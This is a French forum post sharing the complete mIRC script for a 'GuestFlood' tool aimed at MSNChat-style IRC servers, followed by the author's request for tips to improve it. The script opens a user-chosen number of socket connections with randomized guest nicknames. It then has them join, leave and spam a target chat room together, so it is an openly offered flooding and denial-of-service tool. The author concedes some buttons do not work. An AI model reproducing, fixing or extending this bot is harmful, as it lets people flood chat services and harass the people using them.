J'ai crée ce guestflood pour les serveurs qui ressemblant à MSNChat, j'ai fait ça en 10 heures environs. Il est entièrement en dialog.
Source / Exemple :
##################################
############GuestFlood############
################By################
###############Allan##############
##################################
on *:start:{ set %utile on | dialog -m guestmenu guestmenu }
dialog debug {
title "Debug GuestFlood"
size -1 -1 271 165
option dbu
list 1, 1 1 268 141, size
button "Effacer", 2, 2 143 267 12
button "Fermer", 3, 2 157 267 10, ok cancel
}
dialog guestmenu {
title "Guest Flooder Menu [Allan]"
size -1 -1 155 114
option dbu
text "Bienvenue sur le GuestFlooder crée par Allan v1.0", 1, 16 3 123 8
box "Information Flooder", 2, 2 13 150 86
text "Entrer le serveur :", 3, 7 24 51 8
edit "", 4, 60 23 50 10, center
text "Entrer la salle :", 5, 7 36 51 8
edit "", 6, 60 35 50 10, center
text "Entrer votre nick :", 7, 7 48 51 8
edit "", 8, 60 47 50 10, center
text "Entrer le nombre :", 9, 7 60 51 8
edit "", 10, 60 59 50 10, center
text "Entrer le ownerkey :", 11, 7 72 51 8
edit "", 12, 60 71 50 10, center
text "Entrer le port :", 13, 7 84 51 8
edit "", 14, 60 83 50 10, center
button "Connect", 15, 112 23 37 34, cancel
button "Disconnect", 16, 112 59 37 34
button "Fermer", 17, 2 104 150 12, ok cancel
}
dialog guestaction {
title "GuestAction"
size -1 -1 118 65
option dbu
box "GuestAction", 1, 3 3 109 36
button "Join", 2, 7 14 33 9
button "Part", 3, 7 24 33 9
button "Hop", 4, 41 14 33 19
button "Away On", 5, 75 14 33 9
button "Away Off", 6, 75 24 33 9
edit "", 7, 2 41 111 10, multi vsbar limit 250
button "Envoyé", 8, 3 53 25 9
button "!", 9, 29 53 9 9
button "Debug", 10, 39 53 35 9
button "Disconnect", 11, 75 53 38 9, ok cancel
}
on 1:dialog:guestmenu:init:0: {
if (%utile == on) { hmake info 100 | set %utile off }
did -a guestmenu 4 $gettok(%menu,1,44)
did -a guestmenu 6 $gettok(%menu,2,44)
did -a guestmenu 8 $gettok(%menu,3,44)
did -a guestmenu 10 $gettok(%menu,4,44)
did -a guestmenu 12 $gettok(%menu,5,44)
did -a guestmenu 14 $gettok(%menu,6,44)
}
on *:dialog:guestmenu:sclick:*:{
if ($did == 15) {
unset %menu
set %menu $addtok(%menu,$did(4).text,44)
set %menu $addtok(%menu,$did(6).text,44)
set %menu $addtok(%menu,$did(8).text,44)
set %menu $addtok(%menu,$did(10).text,44)
set %menu $addtok(%menu,$did(12).text,44)
set %menu $addtok(%menu,$did(14).text,44)
/hadd info serv $did(4).text
/hadd info salle $did(6).text
/hadd info nick $did(8).text
/hadd info tot $did(10).text
/hadd info owner $did(12).text
/hadd info port $did(14).text
dialog -m debug debug
dialog -m guestaction guestaction
sockclose Flooder*
start
}
if ($did == 16) { dialog -x guestmenu guestmenu }
}
on *:dialog:guestaction:sclick:*:{
if ($did == 2) { sockwrite -tn flooder.* JOIN %room $hget(info,$hmatch(info,*owner*,1)) }
if ($did == 3) { sockwrite -tn flooder.* PART %room }
if ($did == 4) { sockwrite -tn flooder.* PART %room | sockwrite -tn flooder.* join %room }
if ($did == 5) { sockwrite -tn flooder.* AWAY . }
if ($did == 6) { sockwrite -tn flooder.* AWAY }
if ($did == 8) { sockwrite -tn flooder.* PRIVMSG %room :S Tahoma;0 $did(7).text $+ }
if ($did == 9) { sockwrite -tn flooder.* PRIVMSG %room :ACTION $did(7).text $+ }
if ($did == 10) { dialog -m debug debug }
if ($did == 11) { dialog -m guestmenu guestmenu | sockclose flooder* | dialog -x debug debug }
}
on *:dialog:debug:sclick:2:{ did -r debug 1 }
on *:sockopen:flooderlook:{ sockwrite -tn $sockname FINDS %room }
on *:sockread:flooderlook:{
sockread %read
$hget(info,$hmatch(info,*serv*,1)) = $gettok(%read,2,$asc(:))
echo -s ip $hget(info,$hmatch(info,*serv*,1))
}
alias start {
sockclose Flooder*
%serv = $hget(info,$hmatch(info,*serv*,1))
%room = $chr(37) $+ $chr(35) $+ $hget(info,$hmatch(info,*salle*,1))
sockopen flooderlook %serv $hget(info,$hmatch(info,*port*,1))
%flood = $calc($hget(info,$hmatch(info,*tot*,1))-1)
sockopen flooder.0 %ip
}
on *:sockopen:flooderlook:{ sockwrite -tn $sockname FINDS %room }
on *:sockread:flooderlook:{
sockread %read
%ip = $gettok(%read,2,$asc(:))
echo -s ip %ip
}
on *:sockopen:flooder.*: {
var %num $remove($sockname,flooder.)
if ($sockerr) {
sockclose $sockname
sockopen Flooder. $+ %num %ip
return
}
else {
sockwrite -tn $sockname IRCVERS IRC8 MSN-OCX!9.02.0310.2401 fr-fr $+ $crlf $+ NICK $hget(info,$hmatch(info,*nick*,1)) $+ $rand(1,999) $chr(0)
if (%num == %flood) echo -a 4 Socket Ouvert
else { echo -a %num Sockets Ouvert
%num = $calc(%num + 1)
sockopen Flooder. $+ %num %ip
}
}
}
on *:sockread:flooder.*: {
sockread %read
did -a debug 1 %read
}
Conclusion :
A ma connaissance, il y a quelques boutons qui ne marchent pas comme le "Hop" et "l'écriture" en salle.
Si quelqu'un pouvais me donner des tuyaux sa serait simpas pour l'évoluer :)
Si vous avez des idées, n'hésitez pas à m'envoyer un message.
Voilà, mais pas trop d'abus :p
Vous n'êtes pas encore membre ?
inscrivez-vous, c'est gratuit et ça prend moins d'une minute !
Les membres obtiennent plus de réponses que les utilisateurs anonymes.
Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.
Le fait d'être membre vous permet d'avoir des options supplémentaires.